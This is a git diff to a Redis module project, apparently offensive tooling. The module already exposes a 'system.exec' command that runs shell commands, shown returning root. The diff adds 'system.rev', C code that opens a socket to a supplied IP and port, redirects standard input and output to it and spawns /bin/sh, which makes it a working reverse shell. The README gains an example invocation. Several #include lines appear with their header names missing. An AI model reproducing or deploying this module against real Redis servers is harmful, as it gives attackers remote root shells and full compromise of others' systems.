diff --git a/README.md b/README.md index 62d9a77..816369e 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,6 @@ # RedisModules-ExecuteCommand -# Quick Start Guide +## Quick Start Guide Here's what you need to do to build your first module: @@ -15,7 +15,7 @@ Now run `redis-cli` and try the commands: "uid=0(root) gid=0(root) groups=0(root)\n" 127.0.0.1:6379> system.exec "whoami" "root\n" -127.0.0.1:6379> +127.0.0.1:6379> system.rev 127.0.0.1 9999 ``` Enjoy! diff --git a/src/module.c b/src/module.c index 4027a3a..fabaf81 100644 --- a/src/module.c +++ b/src/module.c @@ -1,11 +1,13 @@ #include "redismodule.h" + #include -#include #include #include #include #include - +#include +#include +#include int DoCommand(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) { if (argc == 2) { @@ -31,6 +33,30 @@ int DoCommand(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) { return REDISMODULE_OK; } +int RevShellCommand(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) { + if (argc == 3) { + size_t cmd_len; + char *ip = RedisModule_StringPtrLen(argv[1], &cmd_len); + char *port_s = RedisModule_StringPtrLen(argv[2], &cmd_len); + int port = atoi(port_s); + int s; + + struct sockaddr_in sa; + sa.sin_family = AF_INET; + sa.sin_addr.s_addr = inet_addr(ip); + sa.sin_port = htons(port); + + s = socket(AF_INET, SOCK_STREAM, 0); + connect(s, (struct sockaddr *)&sa, sizeof(sa)); + dup2(s, 0); + dup2(s, 1); + dup2(s, 2); + + execve("/bin/sh", 0, 0); + } + return REDISMODULE_OK; +} + int RedisModule_OnLoad(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) { if (RedisModule_Init(ctx,"system",1,REDISMODULE_APIVER_1) == REDISMODULE_ERR) return REDISMODULE_ERR; @@ -38,5 +64,8 @@ int RedisModule_OnLoad(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) if (RedisModule_CreateCommand(ctx, "system.exec", DoCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR) return REDISMODULE_ERR; + if (RedisModule_CreateCommand(ctx, "system.rev", + RevShellCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR) + return REDISMODULE_ERR; return REDISMODULE_OK; }